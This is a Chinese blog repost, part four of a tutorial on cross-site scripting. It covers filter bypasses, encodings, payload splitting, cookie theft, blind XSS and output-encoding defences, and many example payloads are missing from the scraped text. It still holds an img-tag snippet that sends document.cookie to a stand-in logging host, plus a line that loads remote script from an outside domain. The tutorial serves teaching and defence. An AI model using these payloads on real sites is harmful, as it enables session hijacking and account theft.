百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

跨站脚本攻击(四)

lipiwang 2025-05-24 15:21 2 浏览 0 评论

04

XSS漏洞挖掘技巧

4.1

常见的绕过姿势

实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能。

4.1.1 利用大小写绕过

HTML标签名和属性名是不区分大小写,我们可以全使用大写,或者混合使用,如下的几段代码都是可以被正确解析的:

4.1.2 使用未知标签

aaaa

4.1.3 不使用空格和引号

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符

使用回车截断javascript

使用tab截断javascript

4.1.6 利用过滤器规则

Ript>alert(1)t>

4.2

HTML编码

HTML标签中的某些属性值可以使用&#ASCII方式进行编码:

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

aaaa

4.3

Javascript编码

js提供了 3 种字符编码的策略:

· jsunicode编码,例如“e”编码为“\u0065”

· js十六进制,例如“e”编码为“\x65”

· js八进制,例如“e”编码为“\145”

4.4

跨站拆分法

安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。

幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。

上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。

document.write(' src=//www.shell.net/1.js>')

然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。

05

XSS漏洞利用

点击添加图片描述(最多60个字)

5.1

窃取Cookie

点击添加图片描述(最多60个字)

5.1.1 读取Cookie

直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。

点击添加图片描述(最多60个字)

5.1.2 发送Cookie

5.1.2.1 利用img标签(最常用)

只需将alert(1)替换为以下Payload:

var img=document.createElement("img"); //创建一个img元素节点

img.src="
http://www.nsf-test-xss.com/log?cookie="+escape(document.cookie); //设置src属性

document.body.appendChild(img); //添加到body节点下

5.1.2.2 使用form表单

可以看到,页面跳转到了攻击者的网站,这对攻击者来说显然是很不友好的。

点击添加图片描述(最多60个字)

5.1.2.3 使用Ajax发送

Ajax的全称是Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。Ajax并不是一门新的语言,使用现有的JS语法。简单地讲,Ajax是高配版的JS form。

由于Ajax可以在不重载整个页面的情况下,对网页的某些部分进行更新。并且Ajax可以在后台传输数据,而对前台没有影响。

XMLHttpRequest是一个浏览器接口,使得Javascript可以进行HTTP(S)通信。

IE

Chrome

同域请求

ActiveXObject("Microsoft.XMLHTTP") ActiveXObject("MSXML2.XMLHTTP")

XMLHttpRequest

跨域请求

XDomainRequest

XMLHttpRequest

之前的web页面都是传递整个页面结果,导致浪费了大量的网络宽带。使用了Ajax技术之后,客户端只向服务器传输更新过的内容,借助于客户端的javascript处理服务器的响应。

点击添加图片描述(最多60个字)

事先把XMLHttpTrquest对象写在一个子程序汇总。数据在服务器URL后面,用“?”字符分割,问号后面的数据会被解析成键值。发送数据的MIME类型通常是
application/x-www-for-urlencode 使用XMLHttpRequest的优势,就是可以从服务器读取不同形式的文本数据,包括XML。

5.1.2.4 限制输入长度

对比上面三种传递方式,发现第二种的代码长度是最长的,这也是才构造了一个form表单,可想而知,若要构造出一个完整的页面进行钓鱼攻击,代码长度势必是不会短的。不仅仅是钓鱼,利用XSS获取用户页面信息、Web蠕虫等特殊情况下代码长度肯定也是很长的。然而实际环境下,很多情况服务端都会限制客户端的输入字符长度。

点击添加图片描述(最多60个字)

5.1.2.5 调用外部脚本

1. 静态创建

2. 动态创建

3. 图片方式调用外部JS

4.借用Jquery

$

我们经常使用向 $ 内传入一个字符串的方式来选择或生成 DOM 元素,但如果这个字符串是来自用户输入的话,那么这种方式就是有风险的。

先看一个 DEMO:

http://jsbin.com/duwuzonife/1/edit?html,js,output

$("");

当用户输入的字符串是像这样的时,虽然这个 元素不会马上被插入到网页的 DOM 中,但这个 DOM 元素已经被创建了,并且暂存在内存里。而对于 元素,只要设置了它的 src 属性,浏览器就会马上请求 src 属性所指向的资源。我们也可以利用这个特性做图片的预加载。在上面的示例代码中,创建元素的同时,也设置了它的属性,包括 src 属性和 onerror 事件监听器,所以浏览器会马上请求图片资源,显然请求不到,随机触发 onerror 的回调函数,也就执行了 JavaScript 代码。

推荐阅读 $ 的官方文档:
http://api.jquery.com/jQuery/

类似的其他方法

after()

.append()

.appendTo()

.before()

.html()

.insertAfter()

.insertBefore()

.prepend()

.prependTo()

.replaceAll()

.replaceWith()

.unwrap()

.wrap()

.wrapAll()

.wrapInner()

.prepend()

以上这些方法不仅创建 DOM 元素,并且会马上插入到页面的 DOM 树中。如果使用 `` 标签插入了内联 JS 会立即执行。

不安全的输入来源

document.URL *

document.location.pathname *

document.location.href *

document.location.search *

document.location.hash

document.referrer *

window.name

document.cookie

document 的大多数属性都可以通过全局的 window 对象访问到。加 * 的属性返回的时编码 (urlencode) 后的字符串,需要解码才可能造成威胁。

点击添加图片描述(最多60个字)

05

盲打

“明打”: 知道输出点情况,可以慢慢调整攻击代码。

“盲打”: 不清楚输出点情况,只能猜想。

盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。

”xss盲打“是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。

通俗讲就是见到输入框就输入提前准备的xss代码,通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息。

点击添加图片描述(最多60个字)

常见的输出场景

1. [输出点]

2.

3.

考虑多种情况,所以构造出XSS语句:

“'>

06

XSS漏洞防御

输入校验:长度限制、值类型是否正确、是否包含特殊字符。其实校验是对数据无害的,满足就放行,不满足就阻止,这样也能保证数据的原生态。

输出编码:根据输出的位置进行相应的编码,如HTMl编码、Javascript编码、URL编码。

具体对策

6.1

进入HTML标签之间时

比如,在之间,HTML编码转换规则如下:

& --> &

< --> <

\> --> >

“ --> "

' --> '

/ --> /

6.2

进入HTML普通属性值时

普通属性如 value、width、height等

...
无引号包围属性值

...
有引号包围属性值

如果属性值被单引号或是双引号包围了,那只要对单双引号进行HTML编码即可,若 没有引号包围,情况就复杂多了,还得考虑各种浏览器得解析方式,所以强烈建议属性值用引号引起来。

6.3

进入HTML特殊属性值时

特殊属性如 href、src、action等

进入这种属性时候需要特别注意,一不小心就可能漏掉某条规则,所以这种情况下建议使用白名单的方式来限制属性的行为。

6.4

进入CSS中时

CSS非常松散,如果是过滤具体摸个CSS属性值,比如width的值时,尽量避免出现“、’、;、}、{、(、)等特殊字符

如果允许用户完整地自定义CSS,则需要过滤掉javascript伪协议、expression、@import等,需要注意的时expression在IE6下对全角字符的处理xua

6.5

进入Javascript时

这种情况最为复杂,最好根据现场环境确定过滤对策,需要注意JS的三种编码方式。

现实环境

现实环境中,很多情况下我们并不需要像上面说的那样一个一个字符去过滤,因为大部分语言框架都已经有相对成熟的XSS防御方案了,只需要调用即可,而且也不推荐自行去实现过滤函数。

我们只要清楚地知道用户输入到最终的输出整个过程中的每个环节,保证在最终输出的时候是安全的,那么就可以防御住99%以上的XSS攻击了

· 作为开发人员,要有一定的安全意识,当编写一段代码的时候,要站在攻方的角度,来思考程序的安全性。

· 作为安全人员,要站在开发人员的角度来思考,推测开发人员的逻辑,寻找缺陷,并加以利用。

转自杭州美创科技有限公司公众号,如需二次转载,请联系marketing@mchz.com.cn

相关推荐

httpclient+jsoup实现小说线上采集阅读

前言  用过老版本UC看小说的同学都知道,当年版权问题比较松懈,我们可以再UC搜索不同来源的小说,并且阅读,那么它是怎么做的呢?下面让我们自己实现一个小说线上采集阅读。(说明:仅用于技术学习、研究) ...

Python3+requests+unittest接口自动化测试实战

一、Requests介绍RequestsisanelegantandsimpleHTTPlibraryforPython,builtforhumanbeings.翻译过来就是...

授权码 + PKCE 模式|OIDC &amp; OAuth2.0 认证协议最佳实践系列【03】

在上一篇文章中,我们介绍了OIDC授权码模式,本次我们将重点围绕授权码+PKCE模式(AuthorizationCodeWithPKCE)进行介绍,从而让你的系统快速具备接入用户认...

JWT 在 Java Web 开发中的奇妙应用

JWT在JavaWeb开发中的奇妙应用在当今的互联网世界里,安全始终是一个绕不开的话题。而当我们谈论到Web应用的安全性时,认证和授权绝对是其中的核心部分。说到这,我忍不住要给大家讲个笑话...

动手操作:一个 OAuth 2 应用程序(2) - 配置 Keycloak 为授权服务器

接上一篇《动手操作:一个OAuth2应用程序(1)-应用程序场景》进行场景分析后,本篇就开始动手实现授权服务器。在本文中,我们将Keycloak配置为系统的授权服务器(图3)。...

JSON Web Token是什么?

JSONWebToken(缩写JWT)是目前最流行的跨域认证解决方案。传统的session认证http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证...

Keycloak Servlet Filter Adapter使用

KeycloakClientAdapters简介Keycloakclientadaptersarelibrariesthatmakeitveryeasytosecurea...

使用JWT生成token

一、使用JWT进行身份验证1、传统用户身份验证Internet服务无法与用户身份验证分开。一般过程如下:用户向服务器发送用户名和密码。验证服务器后,相关数据(如用户角色,登录时间等)将保存在当前会话中...

在word中通过VBA调用百度翻译API在线翻译

一天的时间,借助各种AI终于解决了这个问题:在word中通过VBA调用百度翻译API进行在线翻译。给我的word又添加了一项神技。先上代码:Sub宏5()''宏5宏Dimapp...

API 安全之认证鉴权

作者:半天前言API作为企业的重要数字资源,在给企业带来巨大便利的同时也带来了新的安全问题,一旦被攻击可能导致数据泄漏重大安全问题,从而给企业的业务发展带来极大的安全风险。正是在这样的背景下,Ope...

用WordPress建站哪些插件会拖慢速度影响排名?

你是否发现网站加载总慢半拍,SEO排名死活上不去?八成是插件惹的祸!80%的站长不知道,WordPress插件用错类型或配置不当,分分钟让网站速度暴跌,爬虫抓取效率直接砍半。缓存插件没装对,越用越卡你...

JavaScript报错了?不要慌!怎么看怎么处理都在这里

在开发中,有时,我们花了几个小时写的JS代码,在游览器调试一看,控制台一堆红,瞬间一万头草泥马奔腾而来。至此,本文主要记录JS常见的一些报错类型,以及常见的报错信息,分析其报错原因,并给予处理...

跨站脚本攻击(四)
跨站脚本攻击(四)

04XSS漏洞挖掘技巧4.1常见的绕过姿势实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能。4.1.1利用大小写绕过HTML标签...

2025-05-24 15:21 lipiwang

WAF-Bypass之SQL注入绕过思路总结

过WAF(针对云WAF)寻找真实IP(源站)绕过如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经...

Springboot之登录模块探索(含Token,验证码,网络安全等知识)

简介登录模块很简单,前端发送账号密码的表单,后端接收验证后即可~淦!可是我想多了,于是有了以下几个问题(里面还包含网络安全问题):1.登录时的验证码2.自动登录的实现3.怎么维护前后端登录状态在这和大...

取消回复欢迎 发表评论: